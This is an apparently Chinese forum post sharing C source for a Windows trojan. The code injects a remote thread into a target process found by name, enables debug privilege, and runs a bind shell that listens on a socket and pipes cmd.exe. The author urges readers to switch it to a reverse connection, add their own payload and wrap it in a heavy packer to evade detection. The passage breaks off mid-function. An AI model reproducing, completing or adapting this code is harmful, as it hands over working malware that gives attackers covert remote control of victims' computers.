因为木马采用了 正向连接模式 所以请大家修改下代码改成反相连接或端口复用的比较好……（不知道说的对不对哈…… ）添加上自己的XXX，加上变态的壳，做点小修改，就可以．．．．．#include#pragma comment(lib,"ws2_32.lib")#include#include #pragma comment(lib,"Shlwapi.lib")#include #include #include //参数结构 ; typedef struct _RemotePara{ DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox; char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60];}RemotePara; // 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);// 根据进程名称得到进程IDDWORD GetPidByName(char *szName); // 远程线程执行体DWORD __stdcall ThreadProc(RemotePara *Para){WSADATA WSAData;WORD nVersion;SOCKET listenSocket;SOCKET clientSocket;struct sockaddr_in server_addr;struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;HANDLE hWritePipe1;HANDLE hReadPipe2;HANDLE hWritePipe2;STARTUPINFO si;PROCESS_INFORMATION ProcessInformation;unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;FARPROC PWSAStartup;FARPROC PSocket;FARPROC Phtons;FARPROC Pbind;FARPROC Plisten;FARPROC Paccept;FARPROC Psend;FARPROC Precv;FARPROC Pclosesocket;FARPROC PCreateProcessA;FARPROC PPeekNamedPipe;FARPROC PWriteFile;FARPROC PReadFile;FARPROC PCloseHandle;FARPROC PCreatePipe;FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para->dwLoadLibrary;PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para->dwGetProcAddress;PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para->dwFreeLibrary;PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para->dwGetModuleHandle;LoadLibraryFunc(Para->winsockDll);PWSAStartup = (FARPROC)Para->dwWSAStartup;PSocket = (FARPROC)Para->dwSocket;Phtons = (FARPROC)Para->dwhtons;Pbind = (FARPROC)Para->dwbind;Plisten = (FARPROC)Para->dwlisten;Paccept = (FARPROC)Para->dwaccept;Psend = (FARPROC)Para->dwsend;Precv = (FARPROC)Para